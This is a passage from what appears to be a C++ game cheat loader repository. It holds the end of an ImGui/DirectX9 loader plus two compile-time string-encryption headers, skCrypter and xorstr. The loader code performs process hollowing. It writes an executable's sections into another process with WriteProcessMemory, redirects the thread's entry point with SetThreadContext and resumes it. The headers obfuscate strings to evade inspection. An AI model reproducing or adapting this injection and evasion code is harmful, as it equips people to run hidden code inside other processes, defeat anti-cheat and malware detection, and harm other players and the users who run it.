SectionHeader->PointerToRawData), 370 | SectionHeader->SizeOfRawData, 371 | NULL 372 | ); 373 | WriteProcessMemory( 374 | PI.hProcess, 375 | LPVOID(CTX->Rdx + 0x10), 376 | LPVOID(&NtHeader->OptionalHeader.ImageBase), 377 | 8, 378 | NULL 379 | ); 380 | } 381 | 382 | CTX->Rcx = DWORD64(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; 383 | SetThreadContext(PI.hThread, LPCONTEXT(CTX)); 384 | ResumeThread(PI.hThread); 385 | WaitForSingleObject(PI.hProcess, NULL); 386 | } 387 | } 388 | } 389 | exit(0); 390 | } 391 | else 392 | { 393 | MessageBox(0, skCrypt("Select A Cheat"), skCrypt("Error"), 0); 394 | } 395 | 396 | 397 | } 398 | } 399 | } 400 | ImGui::End(); 401 | } 402 | ImGui::EndFrame(); 403 | 404 | g_pd3dDevice->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0, 1.0f, 0); 405 | if (g_pd3dDevice->BeginScene() >= 0) 406 | { 407 | ImGui::Render(); 408 | ImGui_ImplDX9_RenderDrawData(ImGui::GetDrawData()); 409 | g_pd3dDevice->EndScene(); 410 | } 411 | if (io.ConfigFlags & ImGuiConfigFlags_ViewportsEnable) 412 | { 413 | ImGui::UpdatePlatformWindows(); 414 | ImGui::RenderPlatformWindowsDefault(); 415 | } 416 | HRESULT result = g_pd3dDevice->Present(NULL, NULL, NULL, NULL); 417 | if (result == D3DERR_DEVICELOST && g_pd3dDevice->TestCooperativeLevel() == D3DERR_DEVICENOTRESET) { 418 | ResetDevice(); 419 | } 420 | if (!loader_active) { 421 | msg.message = WM_QUIT; 422 | } 423 | } 424 | 425 | ImGui_ImplDX9_Shutdown(); 426 | ImGui_ImplWin32_Shutdown(); 427 | ImGui::DestroyContext(); 428 | CleanupDeviceD3D(); 429 | // DestroyWindow(main_hwnd); 430 | UnregisterClass(wc.lpszClassName, wc.hInstance); 431 | // return 0; 432 | } 433 | 434 | LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { 435 | if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam)) 436 | return true; 437 | switch (msg) 438 | { 439 | case WM_SIZE: 440 | if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED) 441 | { 442 | g_d3dpp.BackBufferWidth = LOWORD(lParam); 443 | g_d3dpp.BackBufferHeight = HIWORD(lParam); 444 | ResetDevice(); 445 | } 446 | return 0; 447 | case WM_SYSCOMMAND: 448 | if ((wParam & 0xfff0) == SC_KEYMENU) 449 | return 0; 450 | break; 451 | case WM_DESTROY: 452 | PostQuitMessage(0); 453 | return 0; 454 | } 455 | return DefWindowProc(hWnd, msg, wParam, lParam); 456 | } 457 | 458 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, int nCmdShow) 459 | { 460 | WindownsMain(0, 0, 0, 0); 461 | } 462 | 463 | std::string tm_to_readable_time(tm ctx) { 464 | char buffer[80]; 465 | 466 | strftime(buffer, sizeof(buffer), skCrypt("%a %m/%d/%y %H:%M:%S %Z"), &ctx); 467 | 468 | return std::string(buffer); 469 | } 470 | 471 | static std::time_t string_to_timet(std::string timestamp) { 472 | auto cv = strtol(timestamp.c_str(), NULL, 10); // long 473 | 474 | return (time_t)cv; 475 | } 476 | 477 | static std::tm timet_to_tm(time_t timestamp) { 478 | std::tm context; 479 | 480 | localtime_s(&context, ×tamp); 481 | 482 | return context; 483 | } 484 | -------------------------------------------------------------------------------- /skCrpyt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /*____________________________________________________________________________________________________________ 4 | Original Author: skadro 5 | Github: https://github.com/skadro-official 6 | License: See end of file 7 | skCrypter 8 | Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+ 9 | *Not removing this part is appreciated* 10 | ____________________________________________________________________________________________________________*/ 11 | 12 | #ifdef _KERNEL_MODE 13 | namespace std 14 | { 15 | // STRUCT TEMPLATE remove_reference 16 | template 17 | struct remove_reference { 18 | using type = _Ty; 19 | }; 20 | 21 | template 22 | struct remove_reference<_Ty&> { 23 | using type = _Ty; 24 | }; 25 | 26 | template 27 | struct remove_reference<_Ty&&> { 28 | using type = _Ty; 29 | }; 30 | 31 | template 32 | using remove_reference_t = typename remove_reference<_Ty>::type; 33 | 34 | // STRUCT TEMPLATE remove_const 35 | template 36 | struct remove_const { // remove top-level const qualifier 37 | using type = _Ty; 38 | }; 39 | 40 | template 41 | struct remove_const { 42 | using type = _Ty; 43 | }; 44 | 45 | template 46 | using remove_const_t = typename remove_const<_Ty>::type; 47 | } 48 | #else 49 | #include 50 | #endif 51 | 52 | namespace skc 53 | { 54 | template 55 | using clean_type = typename std::remove_const_t>; 56 | 57 | template 58 | class skCrypter 59 | { 60 | public: 61 | __forceinline constexpr skCrypter(T* data) 62 | { 63 | crypt(data); 64 | } 65 | 66 | __forceinline T* get() 67 | { 68 | return _storage; 69 | } 70 | 71 | __forceinline int size() // (w)char count 72 | { 73 | return _size; 74 | } 75 | 76 | __forceinline char key() 77 | { 78 | return _key1; 79 | } 80 | 81 | __forceinline T* encrypt() 82 | { 83 | if (!isEncrypted()) 84 | crypt(_storage); 85 | 86 | return _storage; 87 | } 88 | 89 | __forceinline T* decrypt() 90 | { 91 | if (isEncrypted()) 92 | crypt(_storage); 93 | 94 | return _storage; 95 | } 96 | 97 | __forceinline bool isEncrypted() 98 | { 99 | return _storage[_size - 1] != 0; 100 | } 101 | 102 | __forceinline void clear() // set full storage to 0 103 | { 104 | for (int i = 0; i < _size; i++) 105 | { 106 | _storage[i] = 0; 107 | } 108 | } 109 | 110 | __forceinline operator T* () 111 | { 112 | decrypt(); 113 | 114 | return _storage; 115 | } 116 | 117 | private: 118 | __forceinline constexpr void crypt(T* data) 119 | { 120 | for (int i = 0; i < _size; i++) 121 | { 122 | _storage[i] = data[i] ^ (_key1 + i % (1 + _key2)); 123 | } 124 | } 125 | 126 | T _storage[_size]{}; 127 | }; 128 | } 129 | 130 | #define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7]) 131 | #define skCrypt_key(str, key1, key2) []() { \ 132 | constexpr static auto crypted = skc::skCrypter \ 133 | >((skc::clean_type*)str); \ 134 | return crypted; }() 135 | 136 | /*________________________________________________________________________________ 137 | MIT License 138 | Copyright (c) 2020 skadro 139 | Permission is hereby granted, free of charge, to any person obtaining a copy 140 | of this software and associated documentation files (the "Software"), to deal 141 | in the Software without restriction, including without limitation the rights 142 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 143 | copies of the Software, and to permit persons to whom the Software is 144 | furnished to do so, subject to the following conditions: 145 | The above copyright notice and this permission notice shall be included in all 146 | copies or substantial portions of the Software. 147 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 148 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 149 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 150 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 151 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 152 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 153 | SOFTWARE. 154 | ________________________________________________________________________________*/ -------------------------------------------------------------------------------- /xorstr.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | namespace 7 | { 8 | constexpr int const_atoi(char c) 9 | { 10 | return c - '0'; 11 | } 12 | } 13 | 14 | #ifdef _MSC_VER 15 | #define ALWAYS_INLINE __forceinline 16 | #else 17 | #define ALWAYS_INLINE __attribute__((always_inline)) 18 | #endif 19 | 20 | template 21 | class _Basic_XorStr 22 | { 23 | using value_type = typename _string_type::value_type; 24 | static constexpr auto _length_minus_one = _length - 1; 25 | 26 | public: 27 | constexpr ALWAYS_INLINE _Basic_XorStr(value_type const (&str)[_length]) 28 | : _Basic_XorStr(str, std::make_index_sequence<_length_minus_one>()) 29 | { 30 | 31 | } 32 | 33 | inline auto c_str() const 34 | { 35 | decrypt(); 36 | 37 | return data; 38 | } 39 | 40 | inline auto str() const 41 | { 42 | decrypt(); 43 | 44 | return _string_type(data, data + _length_minus_one); 45 | } 46 | 47 | inline operator _string_type() const 48 | { 49 | return str(); 50 | } 51 | 52 | private: 53 | template 54 | constexpr ALWAYS_INLINE _Basic_XorStr(value_type const (&str)[_length], std::index_sequence) 55 | : data{ crypt(str[indices], indices)..., '\0' }, 56 | encrypted(true) 57 | { 58 | 59 | } 60 | 61 | static constexpr auto XOR_KEY = static_cast( 62 | const_atoi(__TIME__[7]) + 63 | const_atoi(__TIME__[6]) * 10 + 64 | const_atoi(__TIME__[4]) * 60 + 65 | const_atoi(__TIME__[3]) * 600 + 66 | const_atoi(__TIME__[1]) * 3600 + 67 | const_atoi(__TIME__[0]) * 36000 68 | ); 69 | 70 | static ALWAYS_INLINE constexpr auto crypt(value_type c, size_t i) 71 | { 72 | return static_cast(c ^ (XOR_KEY + i)); 73 | } 74 | 75 | inline void decrypt() const 76 | { 77 | if (encrypted) 78 | { 79 | for (size_t t = 0; t < _length_minus_one; t++) 80 | { 81 | data[t] = crypt(data[t], t); 82 | } 83 | encrypted = false; 84 | } 85 | } 86 | 87 | mutable value_type data[_length]; 88 | mutable bool encrypted; 89 | }; 90 | //--------------------------------------------------------------------------- 91 | template 92 | using XorStrA = _Basic_XorStr; 93 | template 94 | using XorStrW = _Basic_XorStr; 95 | template 96 | using XorStrU16 = _Basic_XorStr; 97 | template 98 | using XorStrU32 = _Basic_XorStr; 99 | //--------------------------------------------------------------------------- 100 | template 101 | inline auto operator==(const _Basic_XorStr<_string_type, _length>& lhs, const _Basic_XorStr<_string_type, _length2>& rhs) 102 | { 103 | static_assert(_length == _length2, "XorStr== different length"); 104 | 105 | return _length == _length2 && lhs.str() == rhs.str(); 106 | } 107 | //--------------------------------------------------------------------------- 108 | template 109 | inline auto operator==(const _string_type& lhs, const _Basic_XorStr<_string_type, _length>& rhs) 110 | { 111 | return lhs.size() == _length && lhs == rhs.str(); 112 | } 113 | //--------------------------------------------------------------------------- 114 | template 115 | inline auto& operator<<(_stream_type& lhs, const _Basic_XorStr<_string_type, _length>& rhs) 116 | { 117 | lhs << rhs.c_str(); 118 | 119 | return lhs; 120 | } 121 | //--------------------------------------------------------------------------- 122 | template 123 | inline auto operator+(const _Basic_XorStr<_string_type, _length>& lhs, const _Basic_XorStr<_string_type, _length2>& rhs) 124 | { 125 | return lhs.str() + rhs.str(); 126 | } 127 | //--------------------------------------------------------------------------- 128 | template 129 | inline auto operator+(const _string_type& lhs, const _Basic_XorStr<_string_type, _length>& rhs) 130 | { 131 | return lhs + rhs.str(); 132 | } 133 | //--------------------------------------------------------------------------- 134 | template 135 | constexpr ALWAYS_INLINE auto XorStr(char const (&str)[_length]) 136 | { 137 | return XorStrA<_length>(str); 138 | } 139 | //--------------------------------------------------------------------------- 140 | template 141 | constexpr ALWAYS_INLINE auto XorStr(wchar_t const (&str)[_length]) 142 | { 143 | return XorStrW<_length>(str); 144 | } 145 | //--------------------------------------------------------------------------- 146 | template 147 | constexpr ALWAYS_INLINE auto XorStr(char16_t const (&str)[_length]) 148 | { 149 | return XorStrU16<_length>(str); 150 | } 151 | //--------------------------------------------------------------------------- 152 | template 153 | constexpr ALWAYS_INLINE auto XorStr(char32_t const (&str)[_length]) 154 | { 155 | return XorStrU32<_length>(str); 156 | } 157 | //--------------------------------------------------------------------------- --------------------------------------------------------------------------------